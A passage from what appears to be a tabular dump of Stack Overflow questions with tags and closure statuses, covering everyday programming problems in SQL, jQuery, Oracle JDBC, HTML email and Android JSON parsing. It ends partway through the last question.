6,620,724 | 07/08/2011 06:32:19 | 345,936 | 05/20/2010 09:14:02 | 92 | 2 | What i need to follow to know about webos | Thanks in advance.
I want to know about webos. Can any one suggest me the material to follow. | webos | null | null | null | null | 07/08/2011 21:39:33 | off topic | What i need to follow to know about webos
===
Thanks in advance.
I want to know about webos. Can any one suggest me the material to follow. | 2 |
4,452,955 | 12/15/2010 17:27:01 | 453,003 | 09/20/2010 17:31:35 | 1 | 0 | Heap API Program | A program which takes memory allocation as user input and creates an appropriate sized heap | api | heap | null | null | null | 12/15/2010 17:33:52 | not a real question | Heap API Program
===
A program which takes memory allocation as user input and creates an appropriate sized heap | 1 |
3,655,608 | 09/07/2010 03:40:11 | 275,198 | 02/17/2010 11:48:41 | 94 | 1 | mysql left join ascending | **Hey,
i have a query**
SELECT reply.id,reply.message,reply.userid,reply.date,
medal.id,medal.url,medal.name,
user.id,user.name AS username
FROM posts AS reply
LEFT JOIN users AS user ON reply.userid = user.id
LEFT JOIN medals AS medal ON medal.userid = user.id
GROUP BY reply.id
ORDER BY reply.id ASC
**everything is okey , except that i get the medal ascending not descending
which mean that it grab the first medal that user got
i need to get the last one** | mysql | join | null | null | null | null | open | mysql left join ascending
===
**Hey,
i have a query**
SELECT reply.id,reply.message,reply.userid,reply.date,
medal.id,medal.url,medal.name,
user.id,user.name AS username
FROM posts AS reply
LEFT JOIN users AS user ON reply.userid = user.id
LEFT JOIN medals AS medal ON medal.userid = user.id
GROUP BY reply.id
ORDER BY reply.id ASC
**everything is okey , except that i get the medal ascending not descending
which mean that it grab the first medal that user got
i need to get the last one** | 0 |
10,387,371 | 04/30/2012 16:46:39 | 1,285,502 | 03/22/2012 09:29:55 | 1 | 0 | How to read Java Code, and is there is any tool to make it more understandable? | I'm new to development, and I had training in Java and android.
whats the right way to read Java code and understand how does it work ?
I tried to use pen/paper to write the classes and its methods and how its connecting to each others, in order to understand how does it all works.
but still it looks complicated.
whats the right way to read Java Code, and is there is any tool to make it more understandable ? | java | code-reuse | null | null | null | 04/30/2012 16:55:48 | not a real question | How to read Java Code, and is there is any tool to make it more understandable?
===
I'm new to development, and I had training in Java and android.
whats the right way to read Java code and understand how does it work ?
I tried to use pen/paper to write the classes and its methods and how its connecting to each others, in order to understand how does it all works.
but still it looks complicated.
whats the right way to read Java Code, and is there is any tool to make it more understandable ? | 1 |
6,757,783 | 07/20/2011 06:21:56 | 835,109 | 06/13/2011 15:12:45 | 91 | 10 | how getback source code file of app? | I have an app in my iPhone. Now i want to get source code of that app.My mean that how get source file of app? what is the processor so that i get information of app which is in my iphone? | iphone | xcode | null | null | null | 07/27/2011 11:16:36 | not a real question | how getback source code file of app?
===
I have an app in my iPhone. Now i want to get source code of that app.My mean that how get source file of app? what is the processor so that i get information of app which is in my iphone? | 1 |
10,999,396 | 06/12/2012 15:03:49 | 850,749 | 07/18/2011 19:52:20 | 968 | 72 | How do I use an INSERT statement's OUTPUT clause to get the identity value? | If I have an insert statement such as:
INSERT INTO MyTable
(
Name,
Address,
PhoneNo
)
VALUES
(
'Yatrix',
'1234 Address Stuff',
'1112223333'
)
How do I set `@var INT` to the new row's identity value (called `Id`) using the OUTPUT clause? I've seen samples of putting INSERTED.Name into table variables, for example, but I can't get it into a non-table variable.
I've tried `OUPUT INSERTED.Id AS @var`, `SET @var = INSERTED.Id`, but neither have worked.
Thanks in advance.
| sql | sql-server-2005 | insert | output | null | null | open | How do I use an INSERT statement's OUTPUT clause to get the identity value?
===
If I have an insert statement such as:
INSERT INTO MyTable
(
Name,
Address,
PhoneNo
)
VALUES
(
'Yatrix',
'1234 Address Stuff',
'1112223333'
)
How do I set `@var INT` to the new row's identity value (called `Id`) using the OUTPUT clause? I've seen samples of putting INSERTED.Name into table variables, for example, but I can't get it into a non-table variable.
I've tried `OUPUT INSERTED.Id AS @var`, `SET @var = INSERTED.Id`, but neither have worked.
Thanks in advance.
| 0 |
6,747,839 | 07/19/2011 13:23:18 | 619,891 | 02/16/2011 15:13:06 | 384 | 18 | Where IOchardServices gets its concrete class set? | I am looking at the Orchard source and am looking for where the IOchardServices gets its concrete injected. I realize that all one has to do is specify the IOchardServices as a param in a controller constructor and it'll get injected, but I want to know where Autofac actually does it. I was looking at '/Orchard/Environment/OrchardStarter.cs' and there are many builder..... calls and so it looks like injection is occurring there; did a search in that file for IOchardServices and didn't find it.
The reason I'm interested in this is, I need to do property injection on aspx pages' codebehind since our team will only be able to slowly migrate over to Orchard CMS and we'll need to keep our existing pages as is, well without too much modification. I also assume that when we have our own custom interfaces we'll want to inject and will need to know the best place to do this. | asp.net | orchardcms | null | null | null | null | open | Where IOchardServices gets its concrete class set?
===
I am looking at the Orchard source and am looking for where the IOchardServices gets its concrete injected. I realize that all one has to do is specify the IOchardServices as a param in a controller constructor and it'll get injected, but I want to know where Autofac actually does it. I was looking at '/Orchard/Environment/OrchardStarter.cs' and there are many builder..... calls and so it looks like injection is occurring there; did a search in that file for IOchardServices and didn't find it.
The reason I'm interested in this is, I need to do property injection on aspx pages' codebehind since our team will only be able to slowly migrate over to Orchard CMS and we'll need to keep our existing pages as is, well without too much modification. I also assume that when we have our own custom interfaces we'll want to inject and will need to know the best place to do this. | 0 |
10,174,698 | 04/16/2012 13:05:47 | 397,057 | 07/20/2010 16:48:24 | 13 | 0 | Horizontal Scrollbar on IE8 | I have an IE8 & IE7 horizontal scrollbar problem,
Following are the link to it.
[http://piyasanet.hurriyet.com.tr/haberleri/KAP-***-VAKIF-B-TIPI-MENKUL-KIYMETLER-YATIRIM-ORTAKLIGI-A.S.-***-VKFYT-***-Calisanlara-Aylik-Ucret-Disinda-Yapilan-Odemeler/?storyId=53362&goToHomePageParam=true&siteLanguage=en][1]
I'm unable to remove that fro the browser.
any suggestions ???
Thank You :D
[1]: http://piyasanet.hurriyet.com.tr/haberleri/KAP-***-VAKIF-B-TIPI-MENKUL-KIYMETLER-YATIRIM-ORTAKLIGI-A.S.-***-VKFYT-***-Calisanlara-Aylik-Ucret-Disinda-Yapilan-Odemeler/?storyId=53362&goToHomePageParam=true&siteLanguage=en | css | internet-explorer | internet-explorer-8 | internet-explorer-7 | horizontal-scrolling | null | open | Horizontal Scrollbar on IE8
===
I have an IE8 & IE7 horizontal scrollbar problem,
Following are the link to it.
[http://piyasanet.hurriyet.com.tr/haberleri/KAP-***-VAKIF-B-TIPI-MENKUL-KIYMETLER-YATIRIM-ORTAKLIGI-A.S.-***-VKFYT-***-Calisanlara-Aylik-Ucret-Disinda-Yapilan-Odemeler/?storyId=53362&goToHomePageParam=true&siteLanguage=en][1]
I'm unable to remove that fro the browser.
any suggestions ???
Thank You :D
[1]: http://piyasanet.hurriyet.com.tr/haberleri/KAP-***-VAKIF-B-TIPI-MENKUL-KIYMETLER-YATIRIM-ORTAKLIGI-A.S.-***-VKFYT-***-Calisanlara-Aylik-Ucret-Disinda-Yapilan-Odemeler/?storyId=53362&goToHomePageParam=true&siteLanguage=en | 0 |
3,966,888 | 10/19/2010 09:17:51 | 477,894 | 10/16/2010 12:13:19 | 1 | 2 | Send Form to class |
How do I send the form to the class?
You are making some object?
for example :
class Myform
{
public void Myf(Form)
{
Form f = new Form();//error
}
}
private void Form1_Load(object sender, EventArgs e)
{
Myform mf = new Myform();
mf.Myf(Form1);//error
} | c# | class | forms | null | null | 10/19/2010 09:45:31 | not a real question | Send Form to class
===
How do I send the form to the class?
You are making some object?
for example :
class Myform
{
public void Myf(Form)
{
Form f = new Form();//error
}
}
private void Form1_Load(object sender, EventArgs e)
{
Myform mf = new Myform();
mf.Myf(Form1);//error
} | 1 |
8,520,840 | 12/15/2011 13:27:43 | 702,389 | 04/11/2011 14:54:40 | 3 | 0 | How to verify SSL in Grails application running on tomcat? | I am able to run Grails application on tomcat using SSL but I am not sure how to verify that it is running properly with SSL.
I am able to do following things(I am using grails security)...
<br />1. Created Self Signed SSL certification
<br />2. Able to configure same certification with tomcat(updated server.xml)
<br />3. Able to run application using https in browser(All features are running
properly with https url, I did not updated web.xml of war).
<br /><b>Problem</b>: I am able to see logged in user's user credentials using Fiddler.
So I am not sure that I did correct configure of SSL or I did some mistake.
<b>Can anyone suggest me how to verify that the data in traveling in encrypted form ??</b>
<br />Thanks and Regards,
<br />Sanjay
| ssl | tomcat6 | ssl-certificate | null | null | null | open | How to verify SSL in Grails application running on tomcat?
===
I am able to run Grails application on tomcat using SSL but I am not sure how to verify that it is running properly with SSL.
I am able to do following things(I am using grails security)...
<br />1. Created Self Signed SSL certification
<br />2. Able to configure same certification with tomcat(updated server.xml)
<br />3. Able to run application using https in browser(All features are running
properly with https url, I did not updated web.xml of war).
<br /><b>Problem</b>: I am able to see logged in user's user credentials using Fiddler.
So I am not sure that I did correct configure of SSL or I did some mistake.
<b>Can anyone suggest me how to verify that the data in traveling in encrypted form ??</b>
<br />Thanks and Regards,
<br />Sanjay
| 0 |
2,701,430 | 04/23/2010 19:30:29 | 324,542 | 04/23/2010 19:30:29 | 1 | 0 | MySQL Sub-query.. Doesn't provide proper information after 3 entries into table. | After I get 3 rows in my forum_threads table this no longer does it's job; to organize a list of active forum threads and put the most recently responded-to thread at the top of the list, followed by second most recent posted-to thread, followed by third, fourth, etc.
Like I said, the query works wonders up until there is a fourth row added to forum_threads.
SELECT forum_threads.*, forum_posts.thread_id FROM forum_threads INNER JOIN (SELECT MAX(id) AS id, thread_id as thread_id FROM forum_posts group by thread_id order by id DESC) forum_posts ON forum_threads.id = forum_posts.thread_id | mysql | subquery | max | user-forums | recently-updated | null | open | MySQL Sub-query.. Doesn't provide proper information after 3 entries into table.
===
After I get 3 rows in my forum_threads table this no longer does it's job; to organize a list of active forum threads and put the most recently responded-to thread at the top of the list, followed by second most recent posted-to thread, followed by third, fourth, etc.
Like I said, the query works wonders up until there is a fourth row added to forum_threads.
SELECT forum_threads.*, forum_posts.thread_id FROM forum_threads INNER JOIN (SELECT MAX(id) AS id, thread_id as thread_id FROM forum_posts group by thread_id order by id DESC) forum_posts ON forum_threads.id = forum_posts.thread_id | 0 |
9,083,184 | 01/31/2012 16:31:26 | 1,180,733 | 01/31/2012 15:57:33 | 1 | 0 | HTML Emails: making table clickable using <a href> | I am building an HTML email and want to make an entire table clickable.
I have already come up with a JavaScript solution to do this, which works perfectly well however I would prefer to just wrap the table in <a href> tags and not use JavaScript.
<a href="#">
<table border="0">
<tr>
<td style="width: 100px; height: 100px">
</td>
</tr>
</table>
</a>
This works well enough in Firefox although it is not valid HTML given I'm enclosing a block level element (<table>) within an inline one (<a>).
I currently don't have the means to test this on all email platforms so would like to know if there are any known email platforms that will not support this approach?
Any help would be greatly appreciated.
If anyone is looking for a JavaScript solution to perform the same function then here is one below:
<html>
<head>
<title></title>
<script type="text/javascript">
function link(url){
alert("url is "+url);
}
</script>
</head>
<body>
<table style="background-color: red" border="0" onclick="link('test url');" onmouseover="this.style.cursor='pointer';">
<tr>
<td style="width: 100px">This is a </td>
<td style="width: 100px; background-color: blue">test </td>
<td style="width: 100px">table </td>
</tr>
</table>
</body>
</html> | html | null | null | null | null | null | open | HTML Emails: making table clickable using <a href>
===
I am building an HTML email and want to make an entire table clickable.
I have already come up with a JavaScript solution to do this, which works perfectly well however I would prefer to just wrap the table in <a href> tags and not use JavaScript.
<a href="#">
<table border="0">
<tr>
<td style="width: 100px; height: 100px">
</td>
</tr>
</table>
</a>
This works well enough in Firefox although it is not valid HTML given I'm enclosing a block level element (<table>) within an inline one (<a>).
I currently don't have the means to test this on all email platforms so would like to know if there are any known email platforms that will not support this approach?
Any help would be greatly appreciated.
If anyone is looking for a JavaScript solution to perform the same function then here is one below:
<html>
<head>
<title></title>
<script type="text/javascript">
function link(url){
alert("url is "+url);
}
</script>
</head>
<body>
<table style="background-color: red" border="0" onclick="link('test url');" onmouseover="this.style.cursor='pointer';">
<tr>
<td style="width: 100px">This is a </td>
<td style="width: 100px; background-color: blue">test </td>
<td style="width: 100px">table </td>
</tr>
</table>
</body>
</html> | 0 |
2,760,371 | 05/03/2010 18:44:48 | 69,742 | 02/23/2009 04:34:53 | 5,050 | 236 | Up to date Ruby On Rails books? | I've been trying to learn Rails for a while now and I just can not piece it all together with random blogs and SO questions, so I've decided I need a full book/ebook. Can anyone suggest a good one? I've been looking at [Agile Web Development With Rails][1] 4th edition. There is an [old question][2] about Ruby On Rails books but it is from 2008 and there has been new Rails releases since then. I basically would like a book that is more than a reference, but also doesn't assume I'm a non-programmer. Also, I already know a lot of Ruby.
So, what books would you recommend that is up to date and also doesn't treat me like a baby?
[1]: http://pragprog.com/titles/rails4/agile-web-development-with-rails-4th-edition
[2]: http://stackoverflow.com/questions/83784/rails-books | ruby-on-rails | books | self-improvement | null | null | 09/28/2011 11:30:23 | not constructive | Up to date Ruby On Rails books?
===
I've been trying to learn Rails for a while now and I just can not piece it all together with random blogs and SO questions, so I've decided I need a full book/ebook. Can anyone suggest a good one? I've been looking at [Agile Web Development With Rails][1] 4th edition. There is an [old question][2] about Ruby On Rails books but it is from 2008 and there has been new Rails releases since then. I basically would like a book that is more than a reference, but also doesn't assume I'm a non-programmer. Also, I already know a lot of Ruby.
So, what books would you recommend that is up to date and also doesn't treat me like a baby?
[1]: http://pragprog.com/titles/rails4/agile-web-development-with-rails-4th-edition
[2]: http://stackoverflow.com/questions/83784/rails-books | 4 |
10,950,159 | 06/08/2012 13:51:04 | 1,424,067 | 05/29/2012 15:21:16 | 3 | 0 | Repeatedly adding image size before the file extention | I'm having a problem and I can't seem to find the reason for the issue I'm a little new to both JavaScript and jQuery.
but by using the below and then resize the page instead of simply adding the size of the image to the image src is is added repeatedly e.g responsive_Course_2_2_large_large_large_large_large_large.png instead of Responsive_Course_2_2_large.png
$(window).resize(function () {
if ($(window).width() < 600) {
if (ImageSize != 'stand') {
$.each(imgIds, function (index, value) {
Image_src = $('#' + value).attr('src');
Image = Image_src.replace(/(\.[\w\d_]+)$/i, '$1');
$('#' + value).attr('src', Image);
$('#' + value).attr("ImageSize", 'stand');
});
$('#PageContentRow').attr('style', 'background-image:Url(../img/' + pageID + '_back.png)');
}
}
else if ($(window).width() > 960 && $(window).width() < 1280) {
if (ImageSize != 'large') {
$.each(imgIds, function (index, value) {
Image_src = $('#' + value).attr('src');
ImageLarge = Image_src.replace(/(\.[\w\d_]+)$/i, '_large$1');
$('#' + value).attr('src', ImageLarge);
$('#' + value).attr("ImageSize", 'large');
});
$('#PageContentRow').attr('style', 'background-image:Url(../img/' + pageID + '_back_Large.png)');
}
}
else {
$.each(imgIds, function (index, value) {
Image_src = $('#' + value).attr('src');
Image = Image_src.replace(/(\.[\w\d_]+)$/i, '$1');
$('#' + value).attr('src', Image);
$('#' + value).attr("ImageSize", 'stand');
});
$('#PageContentRow').attr('style', 'background-image:Url(../img/' + pageID + '_back.png)');
}
});
| javascript | jquery | null | null | null | null | open | Repeatedly adding image size before the file extention
===
I'm having a problem and I can't seem to find the reason for the issue I'm a little new to both JavaScript and jQuery.
but by using the below and then resize the page instead of simply adding the size of the image to the image src is is added repeatedly e.g responsive_Course_2_2_large_large_large_large_large_large.png instead of Responsive_Course_2_2_large.png
$(window).resize(function () {
if ($(window).width() < 600) {
if (ImageSize != 'stand') {
$.each(imgIds, function (index, value) {
Image_src = $('#' + value).attr('src');
Image = Image_src.replace(/(\.[\w\d_]+)$/i, '$1');
$('#' + value).attr('src', Image);
$('#' + value).attr("ImageSize", 'stand');
});
$('#PageContentRow').attr('style', 'background-image:Url(../img/' + pageID + '_back.png)');
}
}
else if ($(window).width() > 960 && $(window).width() < 1280) {
if (ImageSize != 'large') {
$.each(imgIds, function (index, value) {
Image_src = $('#' + value).attr('src');
ImageLarge = Image_src.replace(/(\.[\w\d_]+)$/i, '_large$1');
$('#' + value).attr('src', ImageLarge);
$('#' + value).attr("ImageSize", 'large');
});
$('#PageContentRow').attr('style', 'background-image:Url(../img/' + pageID + '_back_Large.png)');
}
}
else {
$.each(imgIds, function (index, value) {
Image_src = $('#' + value).attr('src');
Image = Image_src.replace(/(\.[\w\d_]+)$/i, '$1');
$('#' + value).attr('src', Image);
$('#' + value).attr("ImageSize", 'stand');
});
$('#PageContentRow').attr('style', 'background-image:Url(../img/' + pageID + '_back.png)');
}
});
| 0 |
2,327,220 | 02/24/2010 15:38:57 | 280,455 | 02/24/2010 15:38:57 | 1 | 0 | Oracle JDBC intermittent Connection Issue | Good Day,
I am experiencing a very strange problem
This is a very simple use of JDBC connecting to an Oracle database
OS: Ubuntu
Java Version: 1.5.0_16-b02
1.6.0_17-b04
Database: Oracle 11g Release 11.1.0.6.0
When I make use of the jar file
JODBC14.jar it connects to the database everytime
When I make use of the jar file
JODBC5.jar it connects some times and other times it throws an error ( shown below)
If I recompile with Java 6 and use
JODBC6.jar I get the same results as JODBC5.jar
I need specific features in JODB5.jar that are not available in JODBC14.jar
Any ideas
**Error**
Connecting to oracle
java.sql.SQLException: Io exception: Connection reset
at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:74)
at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:110)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:171)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:227)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:494)
at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
at java.sql.DriverManager.getConnection(DriverManager.java:525)
at java.sql.DriverManager.getConnection(DriverManager.java:171)
at TestConnect.main(TestConnect.java:13)
**Code**
Below is the code I am using
import java.io.*;
import java.sql.*;
public class TestConnect {
public static void main(String[] args) {
try {
System.out.println("Connecting to oracle");
Connection con=null;
Class.forName("oracle.jdbc.driver.OracleDriver");
con=DriverManager.getConnection(
"jdbc:oracle:thin:@172.16.48.100:1535:sample",
"JOHN",
"90009000");
System.out.println("Connected to oracle");
con.close();
System.out.println("Goodbye");
} catch(Exception e){e.printStackTrace();}
}
}
| java | oracle | jdbc | null | null | null | open | Oracle JDBC intermittent Connection Issue
===
Good Day,
I am experiencing a very strange problem
This is a very simple use of JDBC connecting to an Oracle database
OS: Ubuntu
Java Version: 1.5.0_16-b02
1.6.0_17-b04
Database: Oracle 11g Release 11.1.0.6.0
When I make use of the jar file
JODBC14.jar it connects to the database everytime
When I make use of the jar file
JODBC5.jar it connects some times and other times it throws an error ( shown below)
If I recompile with Java 6 and use
JODBC6.jar I get the same results as JODBC5.jar
I need specific features in JODB5.jar that are not available in JODBC14.jar
Any ideas
**Error**
Connecting to oracle
java.sql.SQLException: Io exception: Connection reset
at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:74)
at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:110)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:171)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:227)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:494)
at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
at java.sql.DriverManager.getConnection(DriverManager.java:525)
at java.sql.DriverManager.getConnection(DriverManager.java:171)
at TestConnect.main(TestConnect.java:13)
**Code**
Below is the code I am using
import java.io.*;
import java.sql.*;
public class TestConnect {
public static void main(String[] args) {
try {
System.out.println("Connecting to oracle");
Connection con=null;
Class.forName("oracle.jdbc.driver.OracleDriver");
con=DriverManager.getConnection(
"jdbc:oracle:thin:@172.16.48.100:1535:sample",
"JOHN",
"90009000");
System.out.println("Connected to oracle");
con.close();
System.out.println("Goodbye");
} catch(Exception e){e.printStackTrace();}
}
}
| 0 |
9,474,485 | 02/28/2012 00:15:59 | 324,243 | 04/23/2010 13:49:50 | 574 | 13 | jQuery adding html with particular class for jQuery action not having any effect | For example sake, I'll use some dummy code.
I have some jQuery setup that sends out an ajax request and replaces the html of a particular div with a div that has a class of "activate_tooltip"
The initial jQuery is sent out using
$('.button').live('click', function() {
//Ajax request goes out
//Div gets replaced with content like so
//$('.response_div').html('<div class="activate_tooltip"></div>');
});
I have a listener setup for the .activate_tooltip class, which for testing purposes, should send an alert to the window when hovered over. I used firebug to verify that the div content is getting added to the dom(and that the .activate_tooltip class is spelled correctly within the newly added div)... but hovering over the newly added div does nothing. The divs that already exist on the page, however, DO activate the alert when hovered over.
Any ideas? | jquery | ajax | null | null | null | null | open | jQuery adding html with particular class for jQuery action not having any effect
===
For example sake, I'll use some dummy code.
I have some jQuery setup that sends out an ajax request and replaces the html of a particular div with a div that has a class of "activate_tooltip"
The initial jQuery is sent out using
$('.button').live('click', function() {
//Ajax request goes out
//Div gets replaced with content like so
//$('.response_div').html('<div class="activate_tooltip"></div>');
});
I have a listener setup for the .activate_tooltip class, which for testing purposes, should send an alert to the window when hovered over. I used firebug to verify that the div content is getting added to the dom(and that the .activate_tooltip class is spelled correctly within the newly added div)... but hovering over the newly added div does nothing. The divs that already exist on the page, however, DO activate the alert when hovered over.
Any ideas? | 0 |
10,585,468 | 05/14/2012 14:36:37 | 1,393,970 | 05/14/2012 14:24:12 | 1 | 0 | JSONArray and encoded image on Android tablet | I have a problem with my first Android App. I want to ask a PHP server for a name and image, using an cardid. This works well, but JSONArray throws an exception when I try to split up the long string I get. This is the method I use on the Android device:
public static Object[] getIdCardOwner(String card)
{
JSONArray jArray;
String result = null;
InputStream is = null;
StringBuilder sb=null;
ArrayList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
nameValuePairs.add(new BasicNameValuePair("cardid",card));
Object returnValue[] = new Object[2];
try{
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(SERVER_URL);
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
}catch(Exception e){
Log.e("log_tag", "Error in http connection"+e.toString());
}
//convert response to string
try{
BufferedReader reader = new BufferedReader(new InputStreamReader(is,"utf-8"), 16);
sb = new StringBuilder();
sb.append(reader.readLine() + "\n");
String line="0";
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result=sb.toString();
}catch(Exception e){
Log.e("log_tag", "Error converting result "+e.toString());
}
//paring data
try{
jArray = new JSONArray(result);
JSONObject json_data=null;
for(int i=0;i<jArray.length();i++){
json_data = jArray.getJSONObject(i);
returnValue[0] = json_data.getString("name");
returnValue[1] = json_data.getString("image");
}
}
catch(JSONException e1){
Log.e("log_tag", "Error converting result "+e1.toString());
} catch (ParseException e1) {
e1.printStackTrace();
}
return returnValue;
}
This is the String result I get before the exception happens:
{"0":"4016612622","card":"4016612622","1":"Peter Poulsen","name":"Peter Poulsen","2":"\/9j\/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP\/sABFEdWNreQABAAQAAAAeAAD\/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI\/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtY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saNVnJJeUm7OrfG4c6pBy4GWSdQV23o2YW7i0spwlEDH5LO8onfDUajoUwXghwoaNFaR10u+Fk2l+VBu6uW3rPNn\/AKBM9E6oz7Gsfo60jcyhE+IXJ2b5mQwCoxPiFa0c1nNnAx0KLoQI4ZGM8aHKeAS0joq8t2pZgrXHMZw2lNmtHiBdvIppPn0UYc3juHq3btHGrpvL4lV9bSi\/ZdonITqxFqRtiCEeC17eIZwc3j1uK6c6kNkLn8nQSN0ZDrp0Wh7pG6W2smQYqnYDcW2xZtrAYZIr+uEiMOdXadtJEz27KcYyMt2gIyPVN4vEpoidkREy1ICldIRgT1Kh7wLK2U7BkqlZieFbnJoklUTLdMlVVGfY8DBL0UoywlBTicKjEZu+qFF0IAmo1XGmzadDp9EOoWx3RxqMhVA04NOMvciWS27jI0SOByBgS10KvTEd2OqmDerlCYCcjonASPizBMrgAexTPGI3dkmV+sVOWyDKpffuLdl3k3OS5wMhULLskpKpFrByLX6qvHAD66oc2S9FOUC4bQaqtGdpZ0FSicJbEKUThMiGtjHQoOhIQ1+6hKYbGUbUbU5N11c5IRJrPuDT+7+qv1coSiM5VOsBzE9UqyudR3Vlh2TE5q8Gr\/2TE6u6VdzW1KzPft6lLJlI+RdECd2yxZyDMnslSJkWXACdFYppc6IJSbO01EJhiz\/RWBXtiyRYWwOqhs0qtIUYuubU0DCGUyauqe0KYoTNvVCfszP41BBbCEJmpCWuNU3WPmGQhNGdytMVPgqIFb6oQqMx0BU+T+6uUivoUISY0StMm8Q\/qqmTLywhClmtSeFxCFJYIQhIR\/\/Z"}
And this is the error I get:
05-14 14:13:00.723: E/log_tag(359): Error converting result org.json.JSONException: Value {"image":"\/9j\/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP\/sABFEdWNreQABAAQAAAAeAAD\/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6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CcjonASPizBMrgAexTPGI3dkmV+sVOWyDKpffuLdl3k3OS5wMhULLskpKpFrByLX6qvHAD66oc2S9FOUC4bQaqtGdpZ0FSicJbEKUThMiGtjHQoOhIQ1+6hKYbGUbUbU5N11c5IRJrPuDT+7+qv1coSiM5VOsBzE9UqyudR3Vlh2TE5q8Gr\/2TE6u6VdzW1KzPft6lLJlI+RdECd2yxZyDMnslSJkWXACdFYppc6IJSbO01EJhiz\/RWBXtiyRYWwOqhs0qtIUYuubU0DCGUyauqe0KYoTNvVCfszP41BBbCEJmpCWuNU3WPmGQhNGdytMVPgqIFb6oQqMx0BU+T+6uUivoUISY0StMm8Q\/qqmTLywhClmtSeFxCFJYIQhIR\/\/Z","2":"\/9j\/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP\/sABFEdWNreQABAAQAAAAeAAD\/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI\/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm
Can anyone tell me, what I'm doing wrong and how to fix it?
Thanks in advance
Peter | java | android | exception | jsonarray | null | null | open | JSONArray and encoded image on Android tablet
===
I have a problem with my first Android App. I want to ask a PHP server for a name and image, using an cardid. This works well, but JSONArray throws an exception when I try to split up the long string I get. This is the method I use on the Android device:
public static Object[] getIdCardOwner(String card)
{
JSONArray jArray;
String result = null;
InputStream is = null;
StringBuilder sb=null;
ArrayList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
nameValuePairs.add(new BasicNameValuePair("cardid",card));
Object returnValue[] = new Object[2];
try{
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(SERVER_URL);
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
}catch(Exception e){
Log.e("log_tag", "Error in http connection"+e.toString());
}
//convert response to string
try{
BufferedReader reader = new BufferedReader(new InputStreamReader(is,"utf-8"), 16);
sb = new StringBuilder();
sb.append(reader.readLine() + "\n");
String line="0";
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result=sb.toString();
}catch(Exception e){
Log.e("log_tag", "Error converting result "+e.toString());
}
//paring data
try{
jArray = new JSONArray(result);
JSONObject json_data=null;
for(int i=0;i<jArray.length();i++){
json_data = jArray.getJSONObject(i);
returnValue[0] = json_data.getString("name");
returnValue[1] = json_data.getString("image");
}
}
catch(JSONException e1){
Log.e("log_tag", "Error converting result "+e1.toString());
} catch (ParseException e1) {
e1.printStackTrace();
}
return returnValue;
}
This is the String result I get before the exception happens:
